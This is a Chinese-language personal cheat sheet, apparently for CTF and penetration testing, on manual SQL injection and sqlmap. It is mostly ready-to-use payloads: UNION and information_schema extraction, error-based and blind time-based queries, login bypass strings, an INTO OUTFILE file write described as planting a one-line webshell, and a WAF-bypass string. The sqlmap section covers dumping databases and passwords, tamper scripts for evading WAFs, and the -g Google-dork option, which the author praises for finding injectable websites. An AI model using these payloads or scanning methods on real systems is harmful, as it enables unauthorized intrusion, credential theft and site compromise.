因为很反感自己成为一名脚本小子,所以以前不管是是做题还是渗透都喜欢手工注入,然而sql注入语句都比较严谨,常常因为自己手残打错了一个符号导致浪费了大量的时间,所以在这里做一个笔记,方便自己也方便他人
有回显位的SQL注入
(回显位简单来说就是你select 1,2,3页面会出现1,2,3)
此类注入最简单一般先用1
order by x
判断字段数,然后1
select 1,database(),3 判断一下数据库名
然后爆表名1
select 1,table_name,3 from information_schema.tables where table_schema='数据库名' limit 0,1
然后爆列名1
select 1,column_name,3 from information_schema.columns where table_name='数据表名' limit 0,1
最后爆出字段内容1
select 1,列名,3 from 数据库名.表名 where table_name='数据表名' limit 0,1
(PS:’被过滤可使用0xxxxx的16进制表示)
一些常见的id类型1
2
3
4
5id=''
id=12
id=""
id=('')
id=((''))
无回显位但是有报错提示的
此类题目一半用sql的XML报错语句
利用floor(rand()0,1)报错
1 | and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2) as a from information_schema.columns group by a)as b)%23 |
多表查询需要as b这类语句,因为select一次只能查询一条语句,多表查询会报错。
利用updatexml函数报错
1 | and 1=updatexml(1,concat(0x3a,(select database())),1)--+ |
利用name_const函数构造两个相同的列名报错
1 | and 1=(select * from (select name_const(version(),1),name_const(version(),1))as b)--+ |
利用extractvalue报错注入
1 | extractvalue(1,concat(0x7e,(select @@version),0x7e)) |
有显示但是无回显位的
(就是查询正确和查询错误页面返回结果不一致的)
此类一般用盲注1
and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>50)--+
无显示无回显的
加一个if1
and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>50,1,sleep(5))--+
图片类型注入
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27.jpg
表单注入
一般使用万能密码尝试,常见的如1
admin' or '1'='1
这里就不贴万能密码了,网上一大堆,bp字典也有自带的
宽字节注入
如果是get方式的话可以考虑使用%df进行吃掉%5c
如果是post方式的话因为不能进行urlencode所以可以考虑使用utf-16编码以后吃掉%5c
order by注入
判断有无注入点使用sort=desc和asc
盲注的话可以利用rand()函数值正确或者错误会返回不同的结果的特性进行注入
导入到文件方法(直接导入一句话)
1 | union select 1,2,3 into outfile "c:\xxxxx\uuu.txt"--+ |
limit注入
1 | select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(1,concat(0x7e,(select @@version),0x7e)) |
union和select被过滤的话同理
此类手工一般不显示,建议用py脚本跑
基于约束的SQL攻击
也就是二次注入的原理
因为sql的select是不忽视最大长度的限制的
而insert是有最大长度的限制的,超过长度限制就会发生截断。所以可以利用insert插入一个任意用户名加(N个空格,一般64个)然后用select选择出来,select默认是选择第一条数据,所以存在一个任意用户登录的漏洞
关于绕过WALF网上有很多,这里仅给出一个个人认为最通用的
1 | username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1 |
可以绕过(,,union,select,and,or,空格,#,balabalabalabala)
sqlmap使用详解
运用sqlmap在CTF比赛的时候可以节省大量的时间
下面以ISCC2017一道宽字节注入为例子(手工注入参照我博客的ISCC)
判断有无注入点
爆库名
爆表名
爆列(字段)名
爆字段内容
得到flag
首先判断有无注入点
win1
python sqlmap.py -u "http:/www.xxx.com?id=1"
linux1
./sqlmap.py -u "http:/www.xxx.com?id=1"
暴库1
python sqlmap.py -u "http:/www.xxx.com?id=1" --dbs
爆表1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 苦命 --tables
爆密码,用户名1
2python sqlmap.py -u "http:/www.xxx.com?id=1" --passwords
--users
爆字段1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 库名 -T 列名 --columns
爆出字段内容1
python sqlmap.py -u "http:/www.xxx.com?id=1" -D 库名 -T 列名 -C "字段名" --dump
加tamper用sqlmap绕过walf
tamper用法1
python sqlmap.py -u "http:/www.xxx.com?id=1" --tamper=apostrophemask
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
sqlmap risk level指数
–risk 1(2,3,4)
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
–level 1(2,3,4,5)
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:
python sqlmap.py -g “inurl:\”.php?id=1\””
(很牛B的功能,可以直接利用谷歌寻找网站的注入点)
–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
用于表单注入
-v
显示sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。